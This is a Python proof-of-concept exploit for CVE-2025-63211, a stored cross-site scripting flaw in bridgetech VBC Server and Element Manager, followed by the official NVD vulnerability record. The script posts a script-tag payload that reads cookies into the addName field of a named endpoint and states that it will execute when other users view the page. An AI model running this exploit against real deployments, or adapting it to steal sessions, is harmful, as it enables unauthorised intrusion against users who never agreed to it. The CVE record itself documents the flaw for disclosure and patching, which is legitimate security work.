CVE-2025-63211

import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target:8080' # Stored XSS payload for CVE-2025-63211 payload = '<script>alert(document.cookie)</script>' # Exploit endpoint: /vbc/core/userSetupDoc/userSetupDoc endpoint = f'{target}/vbc/core/userSetupDoc/userSetupDoc' data = { 'addName': payload, 'action': 'add' # or appropriate action parameter } print(f'[*] Sending payload to {endpoint}') print(f'[*] Payload: {payload}') try: response = requests.post(endpoint, data=data, timeout=10) print(f'[+] Response Status: {response.status_code}') print(f'[+] Payload sent successfully') print(f'[*] Payload stored - will execute when viewed by other users') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')

{"cve": {"id": "CVE-2025-63211", "sourceIdentifier": "[email protected]", "published": "2025-11-19T19:15:49.430", "lastModified": "2026-01-15T18:51:49.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored cross-site scripting vulnerability in bridgetech VBC Server & Element Manager, firmware versions 6.5.0-9 thru 6.5.0-10, allows attackers to execute arbitrary code via the addName parameter to the /vbc/core/userSetupDoc/userSetupDoc endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bridgetech:vbc_server:6.5.0-9:*:*:*:*:*:*:*", "matchCriteriaId": "310D17A2-FEAB-4DF6-877D-8E65819BA65B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bridgetech:vbc_server:6.5.0-10:*:*:*:*:*:*:*", "matchCriteriaId": "9FB3063A-0853-40E3-8D79-82412B968745"}]}]}], "references": [{"url": "https://bridgetech.tv/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63211_bridgetech%20VBC%20Server%20and%20Element%20Manager%20Stored%20%20xss", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63211_bridgetech%20VBC%20Server%20and%20Element%20Manager%20Stored%20%20xss", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit"]}]}}